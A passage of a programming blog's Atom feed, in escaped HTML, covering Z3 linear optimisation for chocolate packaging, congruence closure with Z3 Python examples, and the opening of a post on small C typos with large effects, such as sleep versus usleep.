 &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;white_slack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;with_walnuts_slack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;bittersweet_slack&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;white&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;with_walnuts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;120000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;bittersweet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="assumptions"&gt;Assumptions&lt;/h2&gt;
&lt;p&gt;&lt;label for='ClByZWNpc2UgdmFsdWVzOyBsaW5lYXIsIHByb3BvcnRpb25hbCBhbmQgYWRkaXRpdml0eSByZWxhdGlvbnM7IGFuZAp2YXJpYWJsZXMgaW4gYFxtYXRoYmJ7Un1gey5tYXRoamF4fQogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClByZWNpc2UgdmFsdWVzOyBsaW5lYXIsIHByb3BvcnRpb25hbCBhbmQgYWRkaXRpdml0eSByZWxhdGlvbnM7IGFuZAp2YXJpYWJsZXMgaW4gYFxtYXRoYmJ7Un1gey5tYXRoamF4fQogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Precise values; linear, proportional and additivity relations; and variables in \(\mathbb{R}\)
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When we say “the pack A has 300 grams of bittersweet chocolate” we are incurring in a huge assumption: that the number 300 is a real and &lt;em&gt;precise&lt;/em&gt; thing.&lt;/p&gt;
&lt;p&gt;In the real world is hard or even impossible to operate with precise quantities. Think that the manufacturing process has some inefficiencies, the balance/scale used to measure has not infinite precision and things like that.&lt;/p&gt;
&lt;p&gt;We also said without much thinking that inputs and outputs are &lt;em&gt;proportional&lt;/em&gt;: if the outcome of selling 1 pack A is 120$, selling 10 packs we should earn 1200$.&lt;/p&gt;
&lt;p&gt;We said that we wanted to maximize &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;b_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Under the hood we are also making the assumption that we can &lt;em&gt;sell&lt;/em&gt; packs A and packs B independently and then &lt;em&gt;add them&lt;/em&gt; together.&lt;/p&gt;
&lt;p&gt;This and the &lt;em&gt;proportional&lt;/em&gt; assumptions are required for &lt;strong&gt;linear&lt;/strong&gt; programming.&lt;/p&gt;
&lt;p&gt;A cleaver reader may noticed that I used Z3’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Reals&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for creating the variables &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b_cnt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. It is obviously wrong because the amount of packs is an &lt;strong&gt;integer&lt;/strong&gt; and not a real number.&lt;/p&gt;
&lt;p&gt;We’ve got an integer solution of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;a_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;b_cnt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but this was pure luck.&lt;/p&gt;
&lt;p&gt;But the same objection can be done for the amount of chocolate: absurd tiny amounts like 0.0001 grams of chocolate makes no sense.&lt;/p&gt;
&lt;p&gt;We assumed that all the variables here have the &lt;em&gt;divisibility&lt;/em&gt; property: they can be modeled as real numbers – that’s why call it &lt;strong&gt;real&lt;/strong&gt; linear programming in opposition to the &lt;strong&gt;integer&lt;/strong&gt; linear programming.&lt;/p&gt;
&lt;p&gt;The former can be solved in polinomial time. while the latter is NP-complete.&lt;/p&gt;
&lt;p&gt;Z3 uses the &lt;a href="https://en.wikipedia.org/wiki/Simplex_algorithm"&gt;Simplex algorithm&lt;/a&gt; that has exponential time in the worst case but polinomial time in the practice. Other solvers can do it better and it had been proved that when we use real numbers the algorithm has polinomial time, like the ones based on &lt;a href="https://en.wikipedia.org/wiki/Interior-point_method"&gt;the interior-point method&lt;/a&gt;.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/04/27/Optimum-Packaging-of-Chocolate.html" rel="alternate" type="text/html" title="Optimum Packaging of Chocolate"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="linear optimization" label="linear optimization"/>
    <published>2021-04-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/04/25/Congruence-Closure.html</id>
    <title>Congruence Closure with Z3</title>
    <updated>2021-04-25T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Assume that you know that \(a = b\), \(b = c\) and \(d = e\). What can you tell me about the claim \(a = c\) ? Is it true or false?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="equivalence-class"&gt;Equivalence class&lt;/h2&gt;
&lt;p&gt;The \(=\) denotes an &lt;em&gt;equivalence&lt;/em&gt; between two elements: \(a = b\) means that \(a\) is equivalent to \(b\) (not necessary that they are &lt;em&gt;the same&lt;/em&gt; element or &lt;em&gt;equals&lt;/em&gt; however).&lt;/p&gt;
&lt;p&gt;So, because we know \(a = b\) and \(b = c\) we conclude that \(a = c\) and therefore the claim is true.&lt;/p&gt;
&lt;p&gt;You see, in general \(a = X\) is true iff \(X\) is \(a\), \(b\), or \(c\).&lt;/p&gt;
&lt;p&gt;\(a\), \(b\) y \(c\) are equivalent between themselves: they form an &lt;em&gt;equivalence class&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The initial set \(T: \{a, b, c, d, e\}\) has two equivalence classes: \(C_1: \{a, b, c\}\) and \(C_2: \{d, e\}\)&lt;/p&gt;
&lt;h2 id="set-operations"&gt;Set operations&lt;/h2&gt;
&lt;p&gt;We say that the set \(E\) of equivalence &lt;em&gt;rules&lt;/em&gt; induced a &lt;em&gt;partition&lt;/em&gt; over \(T\) yielding, in this case, the two equivalence classes of above.&lt;/p&gt;
&lt;p&gt;And the point of all of this is…?&lt;/p&gt;
&lt;p&gt;Pick any claim \(X = Y\), it will be true if and only if both elements are part of the same equivalence class.&lt;/p&gt;
&lt;p&gt;And checking &lt;em&gt;membership&lt;/em&gt; can be implemented easily and efficiently. No matter how many elements \(T\) has, once you built the equivalence classes (sets), checking a claim \(X = Y\) requires two membership tests.&lt;/p&gt;
&lt;p&gt;Moreover, seen \(C_1\) and \(C_2\) as sets, adding a new equivalence rule the has elements of both sets like \(c = d\) &lt;em&gt;merges&lt;/em&gt; \(C_1\) and \(C_2\) into a single set: \(C\) is the &lt;em&gt;union&lt;/em&gt; of \(C_1\) and \(C_2\).&lt;/p&gt;
&lt;h2 id="congruence-rule"&gt;Congruence rule&lt;/h2&gt;
&lt;p&gt;Let’s ask ourselves if the claim \(f(a) = f(c)\) is true or not where \(f\) is an arbitrary function.&lt;/p&gt;
&lt;p&gt;There is &lt;em&gt;rule&lt;/em&gt; that says if \(X\) and \(Y\) belongs to the same equivalence class then \(f(X)\) and \(f(Y)\) must both belong to the same equivalence class (but not necessary to the same class of \(X\) and \(Y\)).&lt;/p&gt;
&lt;p&gt;Intuitively, if \(X = Y\) then \(f(X)\) can be replaced by \(f(Y)\).&lt;/p&gt;
&lt;p&gt;In general, if \(X_1, Y_1 \in C_1\), \(X_2, Y_2 \in C_2\), and so on up to \(X_n, Y_n \in C_n\), then \(f(X_1, X_2, ..., X_n)\) &lt;strong&gt;must&lt;/strong&gt; be equivalent to \(f(Y_1, Y_2, ..., Y_n)\).&lt;/p&gt;
&lt;p&gt;The equivalence class and the congruence rule form a &lt;em&gt;congruence closure&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="playing-with-z3"&gt;Playing with Z3&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;DeclareSort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Consts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;DeclareSort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;T&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Consts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a b c d e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;f&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;g&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="c1"&gt;# a != c is a contradiction of a == c&lt;/span&gt;
&lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;solution&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="c1"&gt;# they are in different equivalence classes, so ok&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="c1"&gt;# another contradiction&lt;/span&gt;
&lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;solution&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;))])&lt;/span&gt; &lt;span class="c1"&gt;# more interesting example...&lt;/span&gt;
&lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;solution&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# And if we force that the last equivalence, we will get a single&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# equivalence class with the elements valued to &amp;#39;T!val!0&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;))])&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;T&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/04/25/Congruence-Closure.html" rel="alternate" type="text/html" title="Congruence Closure with Z3"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="equivalence" label="equivalence"/>
    <category term="congruence" label="congruence"/>
    <category term="equivalence" label="equivalence"/>
    <category term="set" label="set"/>
    <published>2021-04-25T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/04/24/Deadly-Typos-2020.html</id>
    <title>Deadly Typos 2020</title>
    <updated>2021-04-24T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;A quick summary of the top 3 &lt;em&gt;typos&lt;/em&gt; that I found (or I wrote) in code that they were small but they had a deep impact on the functionality.&lt;/p&gt;
&lt;p&gt;In fact, the three bugs could summarized as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a missing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;an extra &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;and a missing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do you want to see what is this about?&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2 id="deep-sleep"&gt;Deep sleep&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;may_sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;elapsed_inactivity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elapsed_inactivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MIN_INACTIVITY_FOR_SHORT_SLEEP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elapsed_inactivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MIN_INACTIVITY_FOR_LONG_SLEEP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;usleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SLEEP_DUE_INACTIVITY_FOR_SHORT_TIME_USECS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SLEEP_DUE_INACTIVITY_FOR_LONG_TIME_USECS&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Issue? A missing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Impact? The code calls &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instead of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;usleep&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and sleeps for, let says, 10000 seconds instead of 10000 microseconds.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;may_sleep&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was intended to put to sleep the CPU for a small period if there was not activity for some time.&lt;/p&gt;
&lt;p&gt;If a task is received while the CPU is sleeping, the worst case would be a delay of 10000 microseconds (10 milliseconds) before the task begins to be processed.&lt;/p&gt;
&lt;p&gt;With 10000 seconds, well, that’s almost 3 hours.&lt;/p&gt;
&lt;h2 id="only-one"&gt;Only one&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;row_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;matrix&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;rows&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
